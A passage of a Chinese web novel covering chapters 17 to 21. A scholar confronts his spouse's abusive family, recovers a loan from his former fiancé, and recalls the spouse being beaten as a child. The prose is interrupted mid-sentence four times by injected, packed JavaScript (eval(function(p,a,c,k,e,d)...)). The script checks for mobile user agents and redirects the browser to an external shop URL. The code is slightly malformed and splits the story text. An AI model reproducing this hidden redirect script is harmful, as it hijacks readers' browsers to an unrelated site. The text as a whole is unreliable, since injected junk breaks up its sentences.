手艺人在哪个时代都吃香,秋冬季节严家另外三个男人几乎就没怎么着过家,一年到头不知得挣多少钱。严逢安已经考上秀才,想来中举也是迟早的事,中了举就有了做官的资格,以后自己岂不是还能跟着他飞黄腾达,吃上公家饭?这样一想,他心里就更美了。 闻柳是个行动力很强的人,只要有了目标,他就会当机立断马上下手。摸清了严逢安休沐回家的规律,他故意制造了几次偶遇,一来二去,倒哄得那严逢安对他情根深种,巴不得立刻把他娶回家去。 严逢安出事后,闻柳也有些惋惜,可真让他嫁过去,他是不肯的,他嫁人是为了享福,不是为了受罪,对严逢安那点喜欢不足以让他搭上自己的后半生。 哪里知道老天爷竟会这样戏弄他,都打定主意要把严逢安抛弃,这人竟然又好了。 明明是他千挑万选的夫君,最后竟然便宜了闻溪,这叫他如何能够甘心。 铜镜中的人脸微微有些扭曲,深吸一口气后,闻柳终于恢复了平静,他想这次无论使出什么手段,都得让严逢安回心转意。 闻石山和李巧珍都是精明的人,突然听说严逢安要来自己家,心头便咚咚跳着,直觉不是什么好事。 见闻柳打扮得如此花枝招展,闻石山心头更是烦闷:“那姓严的不管怎么说,明面上都是你弟的夫君,你这样成何体统?” 闻柳不以为意:“哎呀爹爹你怕什么,我在自个儿家里这样打扮又没人瞧见,穿得漂亮些,安郎看见了心头也欢喜。” 闻石山拧着眉:“都闹成这样,你还想跟他再续前缘不成?” 闻柳道:“有何不可?安郎瞧着就是有出息的,若我能再次将他笼络,于咱们家也是有好处的不是?您不指望我,还想指望谁?溪哥儿?就他那无趣的性格寡淡的相貌,安郎多看一眼恐怕都觉得倒胃口,您还想他能收服安郎的心,这怎么可能。不是我瞧不起他,哪怕安郎现在愿意跟他在一块,以后做了官,恐怕也得找个借口将他休了去。俗话说肥水不流外人田,真要那样,您还不如让我去试试。” 李巧珍倒觉得他这话说得没错,严逢安本来就是闻柳的未婚夫,若他能再把这人勾到手,其实也不是件坏事。到时闻柳舒舒服服的去当官家太太,闻溪被严家赶回来,还能继续卖一笔钱,怎么想都是不亏的。 “你这番说辞倒也不差,可你有没有想过万一严逢安记恨你抛弃他的事,不肯跟你重修旧好呢?” 男人都是爱面子的,李巧珍不信严逢安对替嫁的事半点微词都没有,万一那小贱人在他跟前煽风点火,他们家岂不是更遭他恨了。 闻柳目光在两人身上流转了一圈,道:“这事恐怕还得让爹娘帮我一下了。” 一家三口商量完了准备依计行事,左等右等却没能等到人来,闻石山也不是个傻子,稍稍一想就知道严逢安是在故意拿乔冷落他们。 原来这秀才也是个小心眼,闻石山心中不快,午饭时对着闻柳撒气道:“整日异想天开净做些不切实际的美梦,我瞧那严秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536442|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才对你也不像有什么旧情的样子,赶紧进屋把衣裳换了,省得丢了你老子的脸面。” 闻柳心头难受,却还强撑着:“替嫁的事本就是我不对,安郎有气也正常,他说了要来,就一定会来的。” 闻石山还想发火,李巧珍连忙劝道:“柳哥儿是个有主意的,你就别管他了。” 正说着话呢,严逢安就带着闻溪过来了。 两人还是穿的昨日那身衣裳,闻柳已经有了心理准备,瞧着闻溪跟往日大有不同也未分给他一丝一毫的眼神。 倒是闻石山和李巧珍愣了愣,以往闻溪在他俩跟前老是缩着肩膀低着头,低微得好像一只随时可以被人踩死的蚂蚁,没想到今日他却昂首挺胸,直视着他们。 其实闻溪身后已经怕得起了一层汗,出嫁之前爹娘怎样动手打人的,他还记得清清楚楚,哪怕身上的伤已经好了,想起来依旧会隐隐作痛。 只是出门前严逢安告诉他,他现在是秀才的夫郎,别说是他的爹娘了,就算是城里的捕快也不能随便打他板子。 三言两语虽不能哄得闻溪完全安心,好歹也让他不似从前那样担惊受怕了。 严逢安本来是想礼节性的朝着闻石山和李巧珍拱拱手,但他的手跟闻溪紧紧握在一块,实在腾不出来,便只点了点头道:“今日带小溪上门处理点事情,打扰了。” 一句像样的称呼都没有,闻石山心头不爽又不敢当面发作,反倒陪着笑说:“贤婿这话说的,这里是溪哥儿娘家,你们上门怎么会打扰呢,快请里面坐。” 严逢安倒也不客气,直接拉着闻溪在院子里坐下了,堂屋那边还散着一桌子的剩菜,李巧珍慌里慌张的收拾,她一面想给闻柳和严逢安创造些说话的机会,又瞧不得闻溪这样松快清闲,还当从前似的,对着闻溪骂骂咧咧道:“你这小崽子打小就知道躲懒,好不容易回趟家,也不知给我搭把手,真是白长了那一对招子。” 虽早知闻溪在家过的是什么日子,可见李巧珍当着他的面都这般刻薄,严逢安这心头着实恼火,眉心一蹙道:“常言烧香看菩萨,打狗看主人,我倒是不知哪得罪你了,使你无故对我夫郎撒这一顿泼。溪哥儿在我们家柔顺乖巧,勤快贤惠,怎么到了你这个当娘的嘴里,竟成了这般不堪之人。” 18. 在闻家火力全开 李巧珍没想到严逢安会突然发难跟闻溪帮腔,干笑道:“严秀才你跟他相处的时间短,不了解他的为人,这孩子打小心眼就多会糊弄人,我当娘的要是不管着些,他指定要骑到咱们头上作威作福呢。” 严逢安神色冷厉道:“小溪是个什么样的人,我自会有眼睛瞧。以前他在你们家当哥儿,你当长辈的怎么说他我一个外人的确不好插嘴,可他现在既已成了我们家的人,没道理我看着他被人欺负还无动于衷。说起来你们闻家的家风也着实让人奇怪,把小哥儿当奴隶使唤就罢了,怎么教的大哥儿也这般不知轻重?昨日拦着我说些轻浮的话我还忍着不跟他计较,今日溪哥儿带着我回门,他一个未出嫁的哥儿不避着些,反倒打扮得如此招摇,传出去像什么样子?你们是溪哥儿的娘家人,有些话我本不该说得太重,可我毕竟是个读书人,你们不知分寸不要脸我还要呢。” 没想到他一个书生臊起人来会这么厉害,李巧珍气得脸一阵红一阵白,嘴唇哆嗦半天,只憋出句:“你当姑爷的怎可这般对岳父岳母说话。” 这便是自己没理只能硬挑别人的错处了。 闻石山也是气黄了脸,怒道:“真真是放肆。” 严逢安冷笑道:“今日托你们的福,怕是还得继续放肆。有些话不挑明,你们还当我严逢安是个不中用好欺负的,人有些小聪明并不是坏事,可也不要把别人当傻子。”他望着不知所措的闻柳道:“之前我出了事,你便慌慌的躲起来要退婚,还用暴力逼迫小溪替嫁,现在见我好了又巴巴的凑上来,你打的什么算盘,当我看不出来?” 等了大半天却等来这个结果,闻柳又急又气,上前扯住严逢安的衣袖狡辩道:“安郎,你听我解释,不是这样的,真的不是这样……都是我爹娘,是他们的错……” 严逢安拂开他的手道:“养不教,父之过,做父母的不教你脚踏实地做人,只知道哄着你出卖皮相,去攀高枝,占便宜,把你养成这副德行,当然是他们的错。你也不用急着在我跟前表忠心,过去的事都过去了,以后我只认闻溪这个夫郎,你我之间再无半分情谊。” 闻柳崩溃道:“你怎么能这么说我!” 一家人的脸皮都被他揭下来踩在地上,闻石山气得胸口发疼,换做别人早就一个大嘴巴子呼上去了。 往常让他撒气的闻溪被严逢安护在身后,他只能对李巧珍吼道:“这婆娘是傻了不成,还不把这丢人现眼的东西关进房里去。” 李巧珍黑着脸着上前,把闻柳拉远了些,闻柳浑身发抖,所有的期待和盘算都成了一场空,被严逢安这样羞辱,让他心头恨意剧增,气得想拔下头上的玉簪将严逢安活活刺死。 好在他还没完全失去理智,只恨恨的在心里诅咒着两人。 严逢安这次过来也不是专门和他们打口水仗的,他从怀里摸出一张纸来,摆在石桌上道:“闲话说完该说正事了,这是之前闻柳在我这借钱写的借据,都过这么久了,你们家是不是该还了?” 被严逢安落了面子,闻石山原本还只是生气,见了这张借据,他才是真急了。 “什么借据,我怎么不知道?你莫不是来欺诈我们的?” 严逢安冷冷一笑:“是不是欺诈,你自己看看不就知道了。” 闻石山哆嗦着手,拿起借据一看,落款处果然是闻柳的名字,名字上还按了指印,他难以置信的看了闻柳一眼,怒目道:“你什么时候找他借了银子,我怎么不知道?” 闻柳本来都已经忘了这事,看到这张借据他才想了起来。 今年三月份的时候,他在镇上的同窗邀请他去县城参加一个春日小宴,小宴是刘员外家的小哥儿举办的,好些个文人和富贵人家的子弟都会参加。 那时闻柳虽然还没和严逢安定亲,两人却已看对了眼,闻柳十分清楚这些公子哥的尿性,倒也无意去另攀高枝。 只是这样的宴会对他这种乡下哥儿来说十分难得,哪怕不是为了觅良婿,能去长长见识结交一些人脉也是好的。 他爹眼皮子太浅,明明都已经同他说了此事的好处,仍是抠门的只同意拿出一两银子来给他置办行头。 一两银子多与少得看跟谁比,对乡下人来说,这些钱确实不少,可若是跟刘家小哥儿他们比起来,恐怕连买人家家里的抹布都不够的。 闻柳还想好好打扮一番,届时隆重出场惊艳四座,以显出自己的高贵来,这么点银子又如何能买到他想要的东西。 百般无奈下,他只得找到严逢安诉苦,请求他给予自己帮助。 严逢安听了他的话回家后不知使了什么法子,第二天就给他带了十两银子过来。 这十两银子总算解了闻柳的燃眉之急,见严逢安这样大方,闻柳更是打定主意要嫁给他。为了博得严逢安更深的好感,他还主动写了欠条,表示等自己手上宽松了一定会将这笔钱还给他。 这话说得好听,其实闻柳也没想着真的要还,十两银子对一个没什么赚钱手艺的哥儿来说是笔庞大的数目,他全靠爹娘养着,上哪去找这么多银子还债。 以他跟严逢安的关系,就算写了借据,这人也不可能上门催债。他已经认定了严逢安,想着以后迟早都要嫁给他,两人这样的关系,这钱还分什么你的我的,是以闻柳心里也没把这借据当回事。 哪曾想,这早已被他抛之脑后的东西会这样明晃晃的摆在他爹娘面前。 闻柳手都在抖,颤声质问道:“你明明说过不用我还的。” 这理直气壮的语气听得严逢安心头直冒火。 果然不是自己的家人不知道心疼,他爹和哥哥们赚钱养这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536443|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一大家子本就不易,娘和嫂嫂们为了供他上学,一文钱都恨不得掰成两文钱用,结果那占了他身体的人倒好,白花花的银子当成石头用,自己贪图享乐不说,连带着旁人也要来使他们家的银子。 他若是自己有本事挣钱给外头的哥儿花,今日严逢安绝不会拿这张借据说事,可这钱是那人从他爹娘那里哄来的,凭什么不能要回去? “什么不用还,借据写得一清二楚,你还想抵赖不成。” 李巧珍心焦火燎,不死心问:“你真借了他的银子?” 闻柳没想到严逢安会这样绝情,又急又怒的吼道:“是我借的又怎么样?你一个读书人满身铜臭,开口闭口就是钱,给出去的东西还要往回要,你算什么男人。你说我家风不正,难道你严家的家风就很好吗,你是个秀才很了不起吗,凭什么跑到我们家来欺负人。” 他胸口剧烈的喘着,要不是李巧珍死死拉着,哆嗦的手指都要戳到严逢安脸上去了。 闻石山黑着脸站在一旁,一边消化十两银子的事,一边附和:“你把我家小哥儿娶回去伺候你还不够,还来欺负我们家大哥儿,你耽误了他那么长的时间,又占了他那么多的便宜,竟然还有脸来要钱,你他娘的可真好意思。” 仗着在自己院子里没人听见,闻石山什么难听的话都骂了出来。 李巧珍也胡搅蛮缠的赶人:“咱们家真是装不下你这座大佛,你俩赶紧给我滚出去。” 面对他们一家人的嘶吼质问,严逢安只起身淡淡的整理了一下自己的衣冠:“所以我说你们家上梁不正下梁歪,大哥儿行为不检点,当爹的思想也那么龌龊。我跟闻柳来往的时候,一直发乎情,止乎礼,从来没做过任何出格的事情,我严逢安行得端坐得正,人格品行不是你们一两句话就能玷污的。” 闻柳深知得到了就不会珍惜这个道理,跟严逢安交往时一直保持着矜持,从未越过界,那占了严逢安身体的人虽有些想法,但因另一个当事人不同意,以及时代限制,倒也没强行做些什么。 两人虽有着未婚夫妻的名头,相处却纯洁得很。 也幸好如此,不然严逢安这心头不知道会有多膈应。 说得如此冠冕堂皇真叫人发笑,闻柳讥讽道:“不过是装得人模狗样,你能有什么品行,明明是你情我愿的事情,你当是在跟我做买卖呢?普天之下我就没见过哪个男的会像你这样抠门,当初为了装面子充大方把钱给了我,现在又要拿回去,你自个儿不觉得好笑吗?” 静静听着两方人吵架的闻溪从一开始的害怕到震惊,再到麻木,听到闻柳的狡辩,更觉得无耻。 他不忍严逢安一人面对这三人的指责,躲在后面揪着严逢安的衣衫,望着那曾经带给他无限恐惧与害怕的几个人道:“欠债还钱,有什么好笑的?” 19. 他没有想羞辱谁 闻石山就没把他当回事,一听他开口更觉得愤怒:“你个没了心肝的小杂种,嫁了人就不知道天高地厚,这家里什么时候有你说话的份了。” 闻溪心头恨他爹恨得滴血,他知道不管今日怎么着,以后闻家都不会再有他的立足之地,此刻要还是傻傻的不回嘴,怕是会错过唯一的反抗机会。 “我又不是哑巴,怎么不能说话。”想到这些年在家里受的委屈磨难,闻溪站起来道:“送是送,借是借,这道理连我这个没读过书的人都知道,你们为什么要混在一起说。” 闻柳眼里的愤恨都快溢出来,闻溪往严逢安身后躲了躲,指着他道:“你头上的玉簪,手上的银镯,还有脸上用的香膏,哪样不是他送的,他可曾向你要回去?” “不错。”严逢安补充道:“之前送你的东西已经属于你,我一样都不会要回来,但这钱是你借的,你必须得还。” 闻石山一脸不服气,脖子一梗打算赖皮到底:“哪有姑爷找岳丈要钱的,亏你还是个读书人,说出去也不怕被人耻笑。” 严逢安神色平静道:“读书人也是要拿钱吃饭过日子的,你们要是不认,明儿个我就去县衙递状纸,有什么话你们去对县太爷说,让他来评评这钱到底该不该还。” 签了名字,又摁了手印,别说县太爷了,就是天王老子来了也得认。 根据本朝律法,欠债不还轻则责杖,重则下狱,闻柳一个未婚哥儿哪受得了。 这秀才不是个好拿捏的,闻石山虽然在家作威作福,但他也不是个没长脑子的傻子,今日严逢安明显是有备而来,这钱赖肯定是赖不掉了。 本想推脱家里没钱让严逢安宽限几日,可闻溪那吃里扒外的东西竟敢揭他老底:“严家之前可是给了三十两的聘礼,这才过了多久,家里怎会没钱?还有逼婚时你从我这里抢的十文钱……” 闻石山看着他的眼神像是要吃人,闻溪吓得不敢再说下去。 居然还有这一茬,严逢安摇摇头道:“小溪从小在你们家吃不饱穿不暖就罢了,好不容易攒了十文钱,竟然也被你们抢去,就你们这样的心肠,放猪狗堆里都得被唾弃。不怕跟你们说,今日我过来就是为了给他讨公道的,这十文钱你们若是不连带着一起还回来,以后我一直跟你们没完,不信且等着。” 闻柳牙都要咬碎了:“你这般羞辱我就是为了他?”不等严逢安回话,他又狰狞着笑了笑:“你当自己是个什么好东西,当初你是怎么跟着我一起欺负他的,你忘了吗?现在装得情深义重要替他出头,你配吗?” “闻溪你也不用太得意,今日他怎么对我,来日他就怎么对你,我倒要睁大眼睛瞧瞧,日后你会是个什么下场。” 闻溪将严逢安的衣裳都掐得变了形,随后他慢慢松开,从严逢安背后站出来,一字一句道:“那你便好好瞧着,看我是怎样过上好日子的。” 他一点也不担心自己以后的下场,因为不管未来的日子有多糟糕,都一定会比他在闻家生活强一百倍。 他本就贱命一条,在严家享受了这么长的时间,每一天都是赚的,就算真有一天严逢安要休弃他,他也不会像闻柳这样痛哭流涕,死缠烂打。 严逢安在心中叹了口气,对着闻柳道:“我若真是有意羞辱你,昨日在外便会大声嚷嚷,把事闹大。” 闻柳毕竟是个未婚小哥儿,以后还要嫁人的。这些事说到底也是他们两家人的事,严逢安不想把事做绝,今日来的时候,故意选了大家都在吃午饭的时候,这个点村路上没人,不怕引来旁人看热闹。 他来这里只有一个目的,让闻柳死心,让闻溪安心,并非是为了羞辱谁。 “你说的事情我每件都记得清清楚楚,错了就是错了,我不会否认。一个人犯错并不可怕,可怕的是冥顽不宁,死不悔改,我错了我会改正会弥补,至于你改不改,那是你的事。还了钱,以后不管是我还是小溪,都跟你们家没有任何的关系,若你们仨还想纠缠,不妨尽管来试试我的手段。” 江山易改,本性难移,这一家除了闻溪都不是好的,严逢安知道他好言好语的说辞没人会放在心上,只有这样半是恐吓半是威胁,闻家的人才会有所忌惮。 他这番话说得不留情面,闻石山怕他真闹到县衙去,最终还是不情不愿把银子拿了出来。 得了银子,严逢安和闻溪一刻也没在这地方多待。 这两口子拍拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536444|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁股就走人了,闻石山憋了一肚子的气找不到地方发,看着哭哭啼啼的闻柳,怒道:“哭哭哭,就知道哭,这家里的福气全让你哭没了。” 李巧珍心疼自己的孩子,张嘴欲说什么,闻石山又对着她骂道:“看看你生的好哥儿,一个不中用,一个胳膊肘往外拐,遇上你们老子真是倒八辈子霉了。” 李巧珍听得火气也上来了:“你这话说得可真好意思,孩子又不是我一个人生的,我还说嫁给你倒了八辈子霉呢。” “反了天了你。”闻石山怒上心头,抬起手就给了她一巴掌,李巧珍也不是忍气吞声的性子,见他居然敢对自己动手,当即就和他干起架来。 两人在院子里打得不可开交,闻柳只看了一眼便漠不关心的回了屋。 严逢安和闻溪居然敢这么羞辱他,来日找着机会,他一定要让这两人百倍偿还他的痛苦。 —— 回家的路上,严逢安将属于闻溪的十文钱还给了他,闻溪心头激动,把铜板揣进怀里后晶莹的泪水跟断线的珠子一样哗啦哗啦往下流。 严逢安捏着衣袖给他擦了擦,闻溪的泪水却止不住往外涌。 “好端端的怎么又哭了,我在闻家太凶吓着你了?” “不是。”闻溪急切否认,他哭是因为那压在他身上的石头被人搬开,以后他终于能挺起腰杆,好好活着了。 他怕严逢安理解不了自己的心情,又道:“我很高兴。” 严逢安刮了刮他的鼻梁,故意道:“都哭成泪人了,还说自己很高兴,算了,我就当你表达开心的方式跟别人不同吧。” 在那家里被折磨这么多年,今日终于支棱了一回,换谁都得哭,严逢安又如何不理解他的心情。 他牵着闻溪的手慢慢往严家的方向走着,在闻溪小声的抽噎中道:“其实今天我也很开心,知道为什么吗?” 闻溪不说话,转头看了看他的心口,那里揣着刚从闻家要回来的十两银子。 严逢安笑着摇了摇头:“跟银子没什么关系,我开心是因为在你家人欺负你的时候,我终于有立场帮你说话了。” 闻溪愣了愣,听他这么一说忽地又想起一桩旧事来。 20. 随便打人就是不对 景和七年,闻溪和严逢安清明节时在桃树沟偶然碰到产生了交集,同年端午节,两人又在村里遇到过一次。 这一次闻溪的情况比头一回严逢安遇到他时还要更惨一些。上次他只是邋里邋遢扒着树上的桃胶吃,这回却被李巧珍擒着胳膊,拿着藤条,在那条人人都要经过的村路上打得连滚带爬,嗷嗷直叫。 有人问起缘由,李巧珍便扯着闻溪的嘴角,说他贪嘴偷吃了闻柳从镇上带回来的绿豆糕。 绿豆糕是端午节的消暑小食,镇上那些有钱人在这天不仅会吃粽子和咸鸭蛋,还会吃上一块绿豆糕来祈福安康。闻柳上了两年学,课本里的东西没学多少,课外这些附庸风雅的事他倒学得一套又一套,端午节休沐回家的时候,他也花钱买了三块绿豆糕回家。 绿豆糕很甜,一人吃一方容易齁,为了不浪费李巧珍就将一方绿豆糕切成了四个小块,他们仨一人吃了一块后,盘子里还剩了一块。 闻溪深知他在家里的处境,自然不会傻乎乎的以为这块绿豆糕是跟他留的。 知道是一回事,心里想的又是另一回事。 大过节的,他们都吃着粽子品着糕点,闻溪只能干看着,饿了就往肚子里多灌些凉水。那水没滋没味,喝了除了肚子胀,没别的用处,闻溪饿得头晕眼花,桌上又正好摆了块绿豆糕,这叫他如何不馋。 趁着没人注意,他便将那块绿豆糕塞进了嘴里,因为害怕,也不像他们那样细细品尝,囫囵吞下后,只隐约记得点甜味。 吃了后肚子里的饥饿没减少半分,反倒是为他惹了一场大祸。 那绿豆糕价格昂贵,哪里是他这样卑贱的人能吃的,转个身的功夫糕点就被他偷吃了,李巧珍气得要死,满院子撵着他打。 人都有求生的本能,家里没人劝着,闻溪害怕自己会被气头上的她打死,不得不往外跑,心里祈祷着能遇到个心善的邻居救他一命。 村里看不过眼的邻居确实有不少,只是出来维护闻溪的人却没几个。 李巧珍说话太难听了,为了他们家的事,白给自己惹一身腥实在不划算,况且这种事三天两头都要上演一回,谁有那功夫天天去劝。 周围的邻居指望不上,走投无路之际,闻溪又想起了之前那个给他馒头教他写字的人。 他知道严木匠家的位置,拔腿就往西边跑,李巧珍在后面一边追一边骂,母子俩闹出这么大的动静,严家的人自然要出来瞧一瞧。 李巧珍手上的藤条一下又一下打在闻溪身上,将他手臂小腿都打出了一道道血印,严逢安看得心惊,上前一把捏住她的手腕将她往后甩了几步,挡在闻溪身前气愤道:“你凭什么这样打他!” 李巧珍被他甩得踉跄两下,听他这样的质问,站稳后叉起腰道:“我是他娘,你说我凭什么打他。” 严逢安大声道:“你是他娘又如何,随便打人就是不对。” 李巧珍冷哼道:“他偷吃东西,我当娘的教训他,有什么不对?你当你是哪根葱,还管到别人家头上来了。” 彼时严逢安还未考上生员,不过一个普通书生,李巧珍哪会给他什么脸面。瞧他一脸不服的挡在闻溪跟前,讥笑道:“我看你真是读书读傻了,他是我生的,我养的,我想打就打,想骂就骂,有你这个外人什么事?看不下去,看不下去你就把他领走啊,领回你家去,你想怎么护他就怎么护他。” 陈兰芳知她狗嘴里吐不出象牙来,虽心头可怜闻溪,也不愿自家儿子沾上这些是非,忙道:“真是好笑,你们家那些破事谁愿意管,要打孩子自己领回家打去,在我们家门口闹算怎么回事?大过节的,真是晦气!” 严家条件好,这陈兰芳平日跟那大公鸡似的趾高气昂,李巧珍心头早不痛快了,以往找不着由头跟她干架,这次倒有了机会。 听陈兰芳说她晦气,她便也不客气道:“我晦气,你当你们家是个什么香饽饽不成?”知道陈兰芳最宝贝她家这个小儿子,她便将矛头对准严逢安:“平日你这儿子一心埋头苦读,对谁都不放在心上,怎今日偏偏要站出来替我们家溪哥儿出头,该不会是有什么见不得人的心思吧?” 她啧啧两声,呸道:“我家溪哥儿才多大的年纪,你竟然就打起了这种主意,还是个读书人,真是不要脸。” 这村里的妇人学识虽没有严逢安高,吵架的功夫却比他强,就这一句便让严逢安气得差点栽过去,涨红着脸道:“你简直是胡说八道。” “我是不是胡说八道,你自个儿心里清楚,的亏我今日撞破了你的心思,不然还不知道你要做出什么禽兽的事来,你……” 李巧珍的话还没说完,一盆脏水突然从天而降,直冲冲的泼在她身上,将她浇了个透心凉,浑身湿漉漉的不说,头上脸上都是脏烂的菜叶。 台阶上何锦端着木盆,哼道:“哪来的野狗到处聒噪,再不走,等会儿我就直接泼粪了。” 何锦从小就是呛人的小辣椒,这时他刚嫁进严家,脾气也还没来得及收敛,听到李巧珍说的那些污言秽语他哪忍得了。 李巧珍狼狈的模样惹得一众看热闹的人哄笑,她既生气又觉得没脸,只得揪着闻溪的耳朵撒气道:“都是你这小贱蹄子惹的祸,等回家看老娘怎么收拾你。” 闻溪疼得抽气,离开时,哭着对挡在他跟前的严逢安说了声对不起。 他本意是来求救,却无端害得严逢安名声被污,白白听了那么多难听的话,早知这样,还不如就待在家里让李巧珍将他打死算了。 严逢安本就是个心善之人,瞧他如此模样更觉怜惜,知道他回去必定又会遭到一顿毒打,张嘴想说些什么,又觉得自己确实没有那样的立场。 他一介男子,为闻溪一个小哥儿跟李巧珍这个泼妇吵架,传出去不管对错总归是不好的。 为这事严逢安一直耿耿于怀,所以今日在闻家,一向温和有礼的他说话才会这么刺人。 往日种种,犹在眼前,眉眼含笑的严逢安似与当初那个挡在他身前的男人重叠,闻溪眼中泪花闪烁,低头望着脚下的路,闷闷道:“都过去这么久了,你还记得?” 严逢安回道:“那时你才十二三岁,你娘就用那样的话堵我,我从未被人这样污蔑过,当然会牢牢记住。” 除了自身的憋屈,当然还有对闻溪的可怜。 严逢安没好意思说,这事过后他连做了好几日的噩梦,梦里闻溪满身全是伤痕,可怜兮兮匍匐在他脚边求他救命,而他不管怎么做,闻溪最终都会被李巧珍拖回家里去。 这事让严逢安难受又无力,几乎快成了他的心病,直至今日堂堂正正将闻溪从闻家带走后,他这心病才算彻底消失。 听他提起这茬,闻溪又道:“那是我娘故意乱说的,我知道你不是那样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536445|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。” 严逢安挑了挑眉,问他:“你知道?那你说说我是个什么样的人。” 闻溪心中千回百转,最后只说一句:“你是个好人。” 听他说得委婉,严逢安乐道:“我不是傻子,你这话可唬不了我。你心里指定在想,这人反复无常,一会儿一个样儿,什么好人,根本就是个神经病。” 心思被严逢安戳破,闻溪不仅眼眶红,脸颊也跟着烧了起来。 他弱弱辩解:“我没那么想。” 至少这一刻他没这样想过,严逢安不仅替他出了气,还要回了他好不容易攒的十个铜板,闻溪真觉得他是个好人。 至于严逢安当初跟着闻柳一起欺负过他的事,闻溪也不愿再去多想了,曾经在两人身上发生过的那些好的坏的事,都已经成为过去,若他时时纠着不放,只会让自己痛苦。他也不想让严逢安继续在意这些事,便装作大度对他说:“我知道你变好了。” 严逢安仍笑着,只是这笑了多了几分苦涩与无奈:“其实我从来都没变过。” 闻溪不知其意,严逢安也不再解释,岔开话题道:“要回了十两银子,娘和大嫂她们心头也该高兴了些。” “那是自然。”拿回自己的十文钱闻溪都高兴得落泪,更别说十两这么大的数目。 严逢安又道:“这钱是从我娘那里哄来的,理应全都还给她,等以后我靠自己的本事挣了钱,再全交给你保管。” 闻溪没想那么多,对他而言能吃饱饭就是天大的美事,保管钱的事他想都不敢想。 再说严逢安一个靠父母供养的读书人,能赚到什么钱呢,他又不像两个哥哥有手艺。 两口子都在家里吃白食好像是不太好,也许他当夫郎的也该努努力。 这个念头刚起,闻溪就有些泄气,因为他不仅没有手艺,还没学识,就是想挣钱也找不到任何的法子。 心头忧愁的闻溪和严逢安一起回了家,进了院子严逢安便当着两个嫂嫂的面把银子交到了陈兰芳手中。 这十两银子是严逢安当初哄骗说书院要买什么贵重书籍陈兰芳才给的,哪里知道他竟然把钱给了闻柳。 还没来得及怄气呢,钱又要了回来,陈兰芳整个人都晕乎乎的,虽说这样想不太合适,可她真有种被馅饼砸中的感觉。 李婉她们心头也是无比高兴,婆婆为人大方,只要手上有钱绝不会亏待他们,每次两人回娘家,陈兰芳都会花钱置办些好东西让两人带上,保证他们在娘家人面前能挺起腰杆,不让哥嫂有什么闲话好说。 严逢安将几人的神色尽收眼底,又道:“这银子是闻柳向我借的,现下要回来后,我与他便再没瓜葛了,小溪虽是他们家的孩子,从小却没受过他们一点恩,此事过了咱们两家也没来往的必要,以后就当个普通邻居处着吧。” 家里人的心思严逢安多少也能猜到一些,这回彻底跟闻柳撕破脸皮,也当是给她们吃了一粒定心丸。 陈兰芳早被闻家恶心够了,听他这么说也连连点头。 再怎么着那也是闻溪娘家人,李婉怕他心头难过,拍了拍他的肩膀安慰道:“那样的爹娘不要也罢,以后我们都是你的家人。” 闻溪心里没什么难受的情绪,早在闻石山和李巧珍逼着他替嫁的时候,他就没拿这两人当爹娘了,如今断了来往,倒是让他少了一桩烦心的事。 21. 和老攻一起睡觉 一场绵绵秋雨过后天气骤然凉了下来,夜晚闻溪睡觉时感觉到鼻腔有些发痒,他怕惊动一旁的严逢安,拉起被子盖住脑袋,闷闷地打了几个喷嚏。 两人睡在一张床上,尽管各盖各的被子,中间也只隔了一条细小的缝,他这番动静又如何能瞒得了严逢安。 “可是觉得冷?”睡在一旁的男人从自己被窝里伸出一只手来,在黑暗中摸索一阵,准确无误将闻溪冰冰凉凉的手攥住。 闻溪很容易受惊,被他这样一攥身体又变得僵直,听到严逢安的关切,他下意识回避:“不……不冷。” 似是早料到他会如此回答,严逢安轻笑一声,捏了捏他的手指道:“可我觉得好冷。” 他的手明明那样温热,又怎么会冷呢? 闻溪还没想明白,又听严逢安道:“怎么办啊,小溪,我真的好冷。” 听到这话,闻溪连忙把自己的被子往他那边拉了拉:“这样,会好一点吗?” 严逢安嘴角弯了弯,问他:“被子给我盖了,你怎么办?” 闻溪睁眼说瞎话:“没……没关系,我不冷。” 严逢安道:“你不冷我冷,哪有夫郎不给相公暖被窝的,过来跟我一块睡。” 